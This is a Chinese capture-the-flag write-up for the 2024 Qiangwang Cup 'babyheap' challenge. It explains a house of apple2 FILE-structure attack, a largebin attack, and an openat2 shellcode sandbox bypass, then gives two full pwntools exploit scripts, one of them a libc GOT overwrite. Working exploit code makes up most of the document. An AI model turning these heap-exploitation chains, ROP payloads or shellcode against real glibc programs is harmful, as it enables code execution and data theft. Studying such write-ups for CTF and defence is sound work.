2024强网杯--babyheap house of apple2解法
house of apple2
这次比赛看到这道题想到了用house of apple2,但是卡在了它把_IO_wfile_jumps给清零了,然后根据house of apple的调用链,我就以为做不了,其实是我对这个地方的理解不深刻。
利用_IO_wfile_overflow函数控制程序执行流
对fp
的设置如下:
_flags
设置为~(2 | 0x8 | 0x800)
,如果不需要控制rdi
,设置为0
即可;如果需要获得shell
,可设置为sh;
,注意前面有两个空格vtable
设置为_IO_wfile_jumps/_IO_wfile_jumps_mmap/_IO_wfile_jumps_maybe_mmap
地址(加减偏移),使其能成功调用_IO_wfile_overflow
即可_wide_data
设置为可控堆地址A
,即满足*(fp + 0xa0) = A
_wide_data->_IO_write_base
设置为0
,即满足*(A + 0x18) = 0
_wide_data->_IO_buf_base
设置为0
,即满足*(A + 0x30) = 0
_wide_data->_wide_vtable
设置为可控堆地址B
,即满足*(A + 0xe0) = B
_wide_data->_wide_vtable->doallocate
设置为地址C
用于劫持RIP
,即满足*(B + 0x68) = C
总结一下就是
wide_data_addr = *(fake_IO_FILE_plus_addr + 0x100 )
//注意,fake_IO_FILE_plus_addr指的是可控地址的起始地址。并非_IO_FILE_plus的flag位置,这里应该是_IO_read_end
wide_data_vtable_addr = *(wide_data_addr + 0xe0)
最终调用的是 *(wide_data_vtable_addr+0x68)
从上面的流程来看,我们之所以想要设置vtable的值为_IO_wfile_jumps,有关的值,是想要调用
_IO_wfile_overflow。但是_IO_wfile_jumps被清空有影响吗?
答案是没有影响。
我们这里是把vtable设置成_IO_wfile_jump-0x40。但是这是为啥??????
堆风水构造
只能show一次,edit一次。想要完成泄露和largebin attack,需要一点堆风水。
show一次泄露堆地址和libc,只需要chunk进入到largbin即可。
而edit一次的话,为了能largbin attack,我们肯定是edit第一个进入largbin 的chunk。
我们如果能让_IO_list_all指向我们edit的那个chunk 的话就好办很多。但是一般用largbin attack的时候,我们一般都是让_IO_list_all指向我们构造的第二个进入largbin的chunk。
其实,我们只需要申请一个和chunk2等大的chunk,使得chunk2脱离双向链表,就可以让_IO_list_all指向我们能控制的chunk1了。
这种方法是看其他wp学到的。我还能想到两种方法。
1.因为free后没有置零,可以先通过申请堆块造成指针残留,然后伪造chunk,再次free。这样我们就能控制伪造chunk的内容了。
2.申请一个很大的chunk,然后free掉。然后申请三个chunk。chunk1,chunk2,chunk3。最终目的就是控制chunk1>chunk3,但是仍在同一个largbin里。chunk2随意,主要是用来隔开chunk1和3,防止合并用的。然后free掉chunk1,送入largebin。然后edit一开始free掉的大chunk,这样我们就能控制chunk3的内容了。
沙箱绕过
禁用了open和openat。刚好之前看过并且积累了openat2的汇编代码。控制程序执行流之后打一个vmprotect然后执行这段代码就可以了。
其他注意点
这个题目libc是2.35版本,在 *(wide_data_vtable_addr+0x68) 最后这一步调用的时候rdx指向的是wide_data_addr。所以用setcontext就比较好用了。
largebin中只有一个chunk的时候,fd_nextsize和bk_nextsize指向的都是自己。
exp
from pwn import*
context(arch='amd64', os='linux',log_level="debug")
#libc = ELF("../libc/")
libc = ELF("./libc-2.35.so")
def debug():
gdb.attach(p)
pause()
"""""
def xxx():
p.sendlineafter("")
p.sendlineafter("")
p.sendlineafter("")
"""
def get_p(name):
global p,elf
p = process(name, env={"LD_PRELOAD":"./libc-2.35.so"})
# p = remote("47.93.55.85",33046)
elf = ELF(name)
def add(size):
p.sendlineafter("Enter your choice: ",'1')
p.sendlineafter("Enter your commodity size",str(size))
def dele(idx):
p.sendlineafter("Enter your choice: ",'2')
p.sendlineafter("Enter which to delete:",str(idx))
def edit(idx,content):
p.sendlineafter("Enter your choice: ",'3')
p.sendlineafter("Enter which ",str(idx))
p.sendafter("Input the content",content)
def show(idx):
p.sendlineafter("Enter your choice: ",'4')
p.sendlineafter("Enter which ",str(idx))
def set_gev(chose):
p.sendlineafter("Enter your choice: ",'5')
p.sendlineafter("Maybe you will be sad !",str(chose))
get_p("./pwn")
add(0x520)
add(0x500)
add(0x510)
dele(1)
add(0x540)
show(1)
libc.address = u64(p.recvuntil("\x7f")[-6:].ljust(0x8,b"\x00")) - 0x21b110
print(hex(libc.address))
p.recv(2+8)
heap = u64(p.recv(8))
print(hex(heap))
debug()
dele(3)
payload = p64(libc.address+0x21b110)*2 + p64(heap) + p64(libc.sym['_IO_list_all']-0x20)
FP = heap
A = FP + 0x100 #wide_data
B = A + 0xe0 - 0x60 #wide_data_vtable
_IO_wfile_jumps = libc.address + 0x216f58 - 0x18
ROP_addr = heap+0x300
pop_rdi = 0x000000000002a3e5 + libc.address
pop_rsi = 0x000000000002be51 + libc.address
pop_rdx = 0x000000000011f2e7 + libc.address
pop_rax = 0x0000000000045eb0 + libc.address
ret = pop_rdi + 1
syscall = 0x0000000000091316 + libc.address
setcontext = libc.sym['setcontext']
payload = (payload).ljust((0xa0-0x10),b"\x00") + p64(A) #
payload = payload.ljust(0xb0,b"\x00") + p64(1)
payload = payload.ljust(0xc8,b"\x00") + p64(_IO_wfile_jumps-0x40)
payload = payload.ljust(0x190,b"\x00") + p64(ROP_addr) + p64(ret)
payload = payload.ljust(0xf0+0xe0,b"\x00") + p64(B) + p64(setcontext + 61)
code = asm('''
mov rax, 0x67616c662f2e
push rax
xor rdi, rdi
sub rdi, 100
mov rsi, rsp
push 0
push 0
push 0
mov rdx, rsp
mov r10, 0x18
push SYS_openat2
pop rax
syscall
mov rax,0
mov rdi,3
mov rsi,rsp
mov rdx,0x50
syscall
mov rax,1
mov rdi,1
syscall ''')
payload = payload.ljust(0x2f0,b"\x00") + p64(pop_rdi) + p64(heap&0xfffffffff000) + p64(pop_rsi) + p64(0x3000) + p64(pop_rdx) + p64(7)*2 + p64(libc.sym['mprotect']) + p64(heap+0x400)
payload = payload.ljust(0x3f0,b"\x00") + code
libc_base = libc.address
flag_addr = heap
heap_addr = heap
fake_IO_FILE = flat({
0x0: libc.address+0x21b110, # _IO_read_end 这几个不能用于赋值
0x8: libc.address+0x21b110, # _IO_read_base 这几个不能用于赋值
0x10:heap,#heap_base + (0x556eeb998380 - 0x556eeb996000), # _IO_write_base 这几个不能用于赋值
0x18:libc.sym['_IO_list_all']-0x20,#heap_base + (0x556eeb998380 - 0x556eeb996000), # _IO_write_ptr 这几个不能用于赋值
0x20: 0, # _IO_write_end <<<----fake_IO_wide_data的起始 0x0_IO_read_ptr
0x28: 0, # _IO_buf_base 0x8:_IO_read_end
0x30: 0, # _IO_buf_end 0x10:_IO_read_base
0x38: 0, # _IO_save_base 0x18:_IO_write_base <<-- 0
0x40: 0, # _IO_backup_base 0x20:_IO_write_ptr
0x48: 0, # _IO_save_end 0x28:_IO_write_end
0x50: 0, # _markers 0x30:_IO_buf_base <<-- 0
0x58: 0, # _chain 0x38:_IO_buf_end
0x60: 0, # _fileno 0x40:_IO_save_base
0x68: 0, # _old_offset 0x48:_IO_backup_base
0x70: 0, # _cur_column 0x50:_IO_save_end
0x78: 0, # _lock 0x58:_IO_state
0x80: 0, # _offset 0x60:
0x88: 0, # _codecvt 0x68
0x90: p64(A), ####### _wide_data # 0x70:
0x98: libc_base+0x11f2e7, # _freeres_list 0x78
0xa0: 0x100, # _freeres_buf 0x80
0xa8: 0, # __pad5 0x88
0xb0: 1, # _mode 0x90
0xb8: libc_base+0x11f2e7, # 0x98
0xc0: 0x100, # 0xa0
0xc8:_IO_wfile_jumps-0x40 , # vtable 0xa8
0xd0:libc_base+0x2a3e5, # 0xb0
0xd8:1, # 0xb8
0xe0:libc_base+0x114870, # 0xc0
0xe8:0, # 0xc8
0xf0:0, # wide_data 0xd0
0xf8:0, # 0xd8
0x100:0, # 0xe0:_wide_vtable
0x108:0,
0x110:0,
0x190: ROP_addr,
0x198: ret,
0x1d0: p64(B),
0x1d8: p64(setcontext + 61), ### rdx指向的是 wide_data的地址 也就是*(0x90)的位置
0x2f0: p64(pop_rdi) ,
0x2f8: p64(heap&0xfffffffff000),
0x300: p64(pop_rsi),
0x308: p64(0x3000) ,
0x310: p64(pop_rdx), # pop_rdx_pop_r12
0x318: p64(7),
0x320: p64(7),
0x328: p64(libc.sym['mprotect']) + p64(heap+0x400),
0x3f0: code
},
filler = b'\x00')
edit(1,fake_IO_FILE)
add(0x5f0)
### 取出largebin 中的第二个,使得_IO_list_all指向第一个chunk
add(0x510)
# gdb.attach(p,"b *&_IO_wfile_overflow")
# chunk overflow 触发exit
add(0x600)
p.interactive()
最后给出N0wayback联合战队的一种解法,妙是妙,但是不容易想到
法二:利用putenv函数的机制
看 libc 里对 getenv 的实现会用到 strncmp(爆破逐一修改 got 时发现),将 libc 里的 strncmp_got 改成 printf 后再对 Secret Env 2 进行调用即可输出环境变量,可以带出 flag
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
context.terminal = ["tmux", "splitw", "-h"]
ip_port = ['47.93.15.136', 36880]
pwnfile = './pwn'
elf = ELF(pwnfile)
libc = elf.libc
def loginfo(a, b=None):
if b is None:
log.info(a)
else:
log.info(a + hex(b))
if len(sys.argv) == 2:
if 'p' in sys.argv[1]:
p = process(pwnfile)
elif 'r' in sys.argv[1]:
p = remote(ip_port[0], ip_port[1])
else:
loginfo("INVALID_PARAMETER")
sys.exit(1)
def recv64_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def debug(content=None):
if content is None:
gdb.attach(p)
pause()
else:
gdb.attach(p, content)
pause()
def menu(index):
p.sendlineafter('choice: \n', str(index))
def add(size):
menu(1)
p.sendlineafter('size \n', str(size))
def delete(index):
menu(2)
p.sendlineafter('delete: \n', str(index))
def edit(index, content='a'):
menu(3)
p.sendlineafter('edit: \n', str(index))
p.sendafter('content \n', content)
def show(index):
menu(4)
p.sendlineafter('show: \n', str(index))
def exp():
add(0x500)
add(0x500)
delete(1)
show(1)
libc_base = recv64_addr() - 0x21ace0
strncmp_got = libc_base + 0x21A018 + (0x8*32)
#+ 0x21A118
menu(11)
p.send(p64(strncmp_got))
p.send(p64(libc_base + libc.symbols['printf']))
menu(5)
# debug('b *$rebase(0x1E5F)')
p.sendlineafter('sad !\n', '2')
exp()
p.interactive()